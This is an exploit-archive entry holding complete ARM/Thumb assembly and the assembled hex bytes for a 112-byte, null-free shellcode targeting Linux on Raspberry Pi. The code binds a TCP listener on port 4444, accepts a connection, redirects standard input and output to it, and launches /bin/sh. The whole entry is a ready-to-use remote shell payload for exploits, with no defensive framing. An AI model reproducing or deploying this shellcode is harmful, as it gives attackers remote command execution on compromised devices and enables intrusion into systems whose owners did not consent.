ExploitFixes
Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes) 2018-01-11 12:05:05

.section .text
.global _start
_start:
.ARM
add r3, pc, #1 // switch to thumb mode
bx r3

.THUMB
// socket(2, 1, 0)
mov r0, #2
mov r1, #1
sub r2, r2, r2 // set r2 to null
mov r7, #200 // r7 = 281 (socket)
add r7, #81 // r7 value needs to be split
svc #1 // r0 = host_sockid value
mov r4, r0 // save host_sockid in r4

// bind(r0, &sockaddr, 16)
adr r1, struct_addr // pointer to address, port
strb r2, [r1, #1] // write 0 for AF_INET
strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
mov r2, #16 // struct address length
add r7, #1 // r7 = 282 (bind)
svc #1
nop

// listen(sockfd, 0)
mov r0, r4 // set r0 to saved host_sockid
mov r1, #2
add r7, #2 // r7 = 284 (listen syscall number)
svc #1

// accept(sockfd, NULL, NULL);
mov r0, r4 // set r0 to saved host_sockid
sub r1, r1, r1 // set r1 to null
sub r2, r2, r2 // set r2 to null
add r7, #1 // r7 = 284+1 = 285 (accept syscall)
svc #1 // r0 = client_sockid value
mov r4, r0 // save new client_sockid value to r4

// dup2(sockfd, 0)
mov r7, #63 // r7 = 63 (dup2 syscall number)
mov r0, r4 // r4 is the saved client_sockid
sub r1, r1, r1 // r1 = 0 (stdin)
svc #1

// dup2(sockfd, 1)
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1 (stdout)
svc #1

// dup2(sockfd, 2)
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 2 (stderr)
svc #1

// execve("/bin/sh", 0, 0)
adr r0, shellcode // r0 = location of "/bin/shX"
eor r1, r1, r1 // clear register r1. R1 = 0
eor r2, r2, r2 // clear register r2. r2 = 0
strb r2, [r0, #7] // store null-byte for AF_INET
mov r7, #11 // execve syscall number
svc #1
nop

struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port number 4444
.byte 1,1,1,1 // IP Address
shellcode:
.ascii "/bin/shX"

// \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x37\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58